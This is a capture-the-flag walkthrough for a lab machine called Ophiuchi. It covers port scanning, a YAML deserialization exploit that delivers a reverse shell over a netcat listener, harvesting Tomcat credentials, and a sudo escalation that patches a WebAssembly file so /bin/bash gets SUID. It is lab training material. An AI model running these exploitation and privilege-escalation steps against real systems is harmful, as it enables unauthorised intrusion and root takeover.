Ophiuchi

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.227 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80 10.10.10.227 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Exploitation

If we take a look at the website on port 8080, we'll see a YAML Parser.

Doing some research, I found that there is a way to execute command with some YAML code. This GitHub repository explains how to do it. Let's clone it.

git clone https://github.com/artsploit/yaml-payload

The idea here is to make a file called reverse.sh, which will send us a reverse shell when it is executed. Then, make the server download that file, and then make it execute it. First let's make the reverse.sh file.

nano reverse.sh

Then, we'll have to modify the src/artsploit/AwesomeScriptEngineFactory.java file. The server will download the reverse.sh file, save it in the /tmp directory, give it execution permissions, and finally execute it.

Now, we'll have to compile it.

javac src/artsploit/AwesomeScriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .

Now, let's set a simple HTTP server where the reverse.sh and the src/ directory are.

python -m http.server 80

And a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Finally, if we submit the following YAML code through the website, we should get a reverse shell as the www-data user. Maybe you'll have to submit the code twice to make it work.

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

Let's see the system users.

grep sh /etc/passwd

As we saw in the nmap report, there is a Tomcat server running on the machine. We could try to find the tomcat-users.xml file.

find / -name tomcat-users.xml 2>/dev/null

If we see it's content, we'll see some credentials for the admin user.

cat /opt/tomcat/conf/tomcat-users.xml

Let's try to become the admin user with the whythereisalimit password. Then, we'll be able to grab the user flag.

su admin

If we check for sudo privileges, we'll see that we can execute a go script as the root user.

sudo -l

If we execute it, we'll get a bunch of errors.

sudo /usr/bin/go run /opt/wasm-functions/index.go

Let's take a look at it.

cat /opt/wasm-functions/index.go

The file is trying to read a main.wasm file. Let's find it.

find / -name main.wasm 2>/dev/null

If we go to the /opt/wasm-functions/ directory and execute the script again, we won't see any errors because now the script can find the main.wasm file in the current directory.

cd /opt/wasm-functions/

sudo /usr/bin/go run /opt/wasm-functions/index.go

Let's understand a bit the functionality of the script. Basically, it is reading the content of the main.wasm file, which is a binary, so it is not readable. Then, it is checking if the f variable is equal to 1. If it is equal to 1, then it will execute a file called deploy.sh, if not, it will show the message Not ready to deploy. The idea is to modify the main.wasm file so the f variable is equal to 1, and then it will execute a file called deploy.sh made by us, which will give the /bin/bash the SUID permission. Let's go to the /tmp directory, and make that file.

nano /tmp/deploy.sh

chmod +x /tmp/deploy.sh

Now, let's transfer the main.wasm file to our local machine.

python3 -m http.server 8081

On our local machine.

wget http://10.10.10.227:8081/main.wasm

Now, we'll have to convert the .wasm file to a .wat file, so it is readable. We can do it with the following GitHub repository.

git clone https://github.com/WebAssembly/wabt

cd wabt

git submodule update --init

Now, let's compile it.

mkdir build

cd build

cmake ..

cmake --build .

Now, let's convert the main.wasm file to main.wat file.

./wasm2wat main.wasm > main.wat

cat main.wat

There is a constant which is equal to 0, maybe if we change it to 1 the f variable will be equal to 1, and the deploy.sh script will be executed. Let's change the main.wat file.

nano main.wat

Now, we'll have to convert the .wat file to .wasm.

rm main.wasm

./wat2wasm main.wat > main.wasm

And transfer it to the victim machine. Let's set a simple HTTP server with python.

python -m http.server 80

And download it from the /tmp directory of the victim machine.

cd /tmp

wget http://10.10.14.15/main.wasm

If now we execute the script, we'll see the Ready to deploy message.

sudo /usr/bin/go run /opt/wasm-functions/index.go

Now, the /bin/bash binary hash SUID privileges.

ls -l /bin/bash

And finally, all we have to do is execute the bash binary with root permissions, and reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?